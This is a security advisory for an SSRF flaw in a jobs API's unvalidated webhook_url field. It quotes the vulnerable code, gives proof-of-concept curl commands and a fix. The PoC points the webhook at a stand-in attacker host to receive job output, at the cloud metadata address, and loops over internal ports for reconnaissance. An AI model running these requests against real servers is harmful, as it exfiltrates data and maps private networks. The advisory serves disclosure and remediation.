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GHSA-8frj-8q3m-xhgm

HighCVSS 7.2 / 10
Published Apr 10, 2026·Last modified Apr 10, 2026
Affected Components(0)

No affected components available

Description

Summary

The /api/v1/runs endpoint accepts an arbitrary webhook_url in the request body with no URL validation. When a submitted job completes (success or failure), the server makes an HTTP POST request to this URL using httpx.AsyncClient. An unauthenticated attacker can use this to make the server send POST requests to arbitrary internal or external destinations, enabling SSRF against cloud metadata services, internal APIs, and other network-adjacent services.

Details

The vulnerability exists across the full request lifecycle:

1. User input accepted without validationmodels.py:32:

class JobSubmitRequest(BaseModel):
    webhook_url: Optional[str] = Field(None, description="URL to POST results when complete")

The field is a plain str with no URL validation — no scheme restriction, no host filtering.

2. Stored directly on the Job objectrouter.py:80-86:

job = Job(
    prompt=body.prompt,
    ...
    webhook_url=body.webhook_url,
    ...
)

3. Used in an outbound HTTP requestexecutor.py:385-415:

async def _send_webhook(self, job: Job):
    if not job.webhook_url:
        return
    try:
        import httpx
        payload = {
            "job_id": job.id,
            "status": job.status.value,
            "result": job.result if job.status == JobStatus.SUCCEEDED else None,
            "error": job.error if job.status == JobStatus.FAILED else None,
            ...
        }
        async with httpx.AsyncClient(timeout=30.0) as client:
            response = await client.post(
                job.webhook_url,    # <-- attacker-controlled URL
                json=payload,
                headers={"Content-Type": "application/json"}
            )

4. Triggered on both success and failure pathsexecutor.py:180-205:

# Line 180-181: on success
if job.webhook_url:
    await self._send_webhook(job)

# Line 204-205: on failure
if job.webhook_url:
    await self._send_webhook(job)

5. No authentication on the Jobs API serverserver.py:82-101: The create_app() function creates a FastAPI app with CORS allowing all origins (["*"]) and no authentication middleware. The jobs router is mounted directly with no auth dependencies.

There is zero URL validation anywhere in the chain: no scheme check (allows http://, https://, and any scheme httpx supports), no private/internal IP filtering, and no allowlist.

PoC

Step 1: Start a listener to observe SSRF requests

# In a separate terminal, start a simple HTTP listener
python3 -c "
from http.server import HTTPServer, BaseHTTPRequestHandler
import json

class Handler(BaseHTTPRequestHandler):
    def do_POST(self):
        length = int(self.headers.get('Content-Length', 0))
        body = self.rfile.read(length)
        print(f'Received POST from PraisonAI server:')
        print(json.dumps(json.loads(body), indent=2))
        self.send_response(200)
        self.end_headers()

HTTPServer(('0.0.0.0', 9999), Handler).serve_forever()
"

Step 2: Submit a job with a malicious webhook_url

# Point webhook to attacker-controlled server
curl -X POST http://localhost:8005/api/v1/runs \
  -H 'Content-Type: application/json' \
  -d '{
    "prompt": "say hello",
    "webhook_url": "http://attacker.example.com:9999/steal"
  }'

Step 3: Target internal services (cloud metadata)

# Attempt to reach AWS metadata service
curl -X POST http://localhost:8005/api/v1/runs \
  -H 'Content-Type: application/json' \
  -d '{
    "prompt": "say hello",
    "webhook_url": "http://169.254.169.254/latest/meta-data/"
  }'

Step 4: Internal network port scanning

# Scan internal services by observing response timing
for port in 80 443 5432 6379 8080 9200; do
  curl -s -X POST http://localhost:8005/api/v1/runs \
    -H 'Content-Type: application/json' \
    -d "{
      \"prompt\": \"say hello\",
      \"webhook_url\": \"http://10.0.0.1:${port}/\"
    }"
done

When each job completes, the server POSTs the full job result payload (including agent output, error messages, and execution metrics) to the specified URL.

Impact

  1. SSRF to internal services: The server will send POST requests to any host/port reachable from the server's network, allowing interaction with internal APIs, databases, and cloud infrastructure that are not meant to be externally accessible.

  2. Cloud metadata access: In cloud deployments (AWS, GCP, Azure), the server can be directed to POST to metadata endpoints (169.254.169.254, metadata.google.internal), potentially triggering actions or leaking information depending on the metadata service's POST handling.

  3. Internal network reconnaissance: By submitting jobs with webhook URLs pointing to various internal hosts and ports, an attacker can discover internal services based on timing differences and error patterns in job logs.

  4. Data exfiltration: The webhook payload includes the full job result (agent output), which may contain sensitive data processed by the agent. By pointing the webhook to an attacker-controlled server, this data is exfiltrated.

  5. No authentication barrier: The Jobs API server has no authentication by default, meaning any network-reachable attacker can exploit this without credentials.

Recommended Fix

Add URL validation to restrict webhook URLs to safe destinations. In models.py, add a Pydantic validator:

from pydantic import BaseModel, Field, field_validator
from urllib.parse import urlparse
import ipaddress

class JobSubmitRequest(BaseModel):
    webhook_url: Optional[str] = Field(None, description="URL to POST results when complete")

    @field_validator("webhook_url")
    @classmethod
    def validate_webhook_url(cls, v: Optional[str]) -> Optional[str]:
        if v is None:
            return v
        
        parsed = urlparse(v)
        
        # Only allow http and https schemes
        if parsed.scheme not in ("http", "https"):
            raise ValueError("webhook_url must use http or https scheme")
        
        # Block private/internal IP ranges
        hostname = parsed.hostname
        if not hostname:
            raise ValueError("webhook_url must have a valid hostname")
        
        try:
            ip = ipaddress.ip_address(hostname)
            if ip.is_private or ip.is_loopback or ip.is_link_local or ip.is_reserved:
                raise ValueError("webhook_url must not point to private/internal addresses")
        except ValueError as e:
            if "must not point" in str(e):
                raise
            # hostname is not an IP — resolve and check
            pass
        
        return v

Additionally, in executor.py, add DNS resolution validation before making the request to prevent DNS rebinding:

async def _send_webhook(self, job: Job):
    if not job.webhook_url:
        return
    
    # Validate resolved IP is not private (prevent DNS rebinding)
    from urllib.parse import urlparse
    import socket, ipaddress
    
    parsed = urlparse(job.webhook_url)
    try:
        resolved_ip = socket.getaddrinfo(parsed.hostname, parsed.port or 443)[0][4][0]
        ip = ipaddress.ip_address(resolved_ip)
        if ip.is_private or ip.is_loopback or ip.is_link_local or ip.is_reserved:
            logger.warning(f"Webhook blocked for {job.id}: resolved to private IP {resolved_ip}")
            return
    except (socket.gaierror, ValueError):
        logger.warning(f"Webhook blocked for {job.id}: could not resolve {parsed.hostname}")
        return
    
    # ... proceed with httpx.AsyncClient.post() ...
Risk Scores
Base Score
7.2

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The vulnerability can affect other systems as well, not just the initial system. There is a low impact on the confidentiality of the information. There is a low impact on the integrity of the data.

Threat Intelligence
6.6

Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.

EPSS
0.28%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

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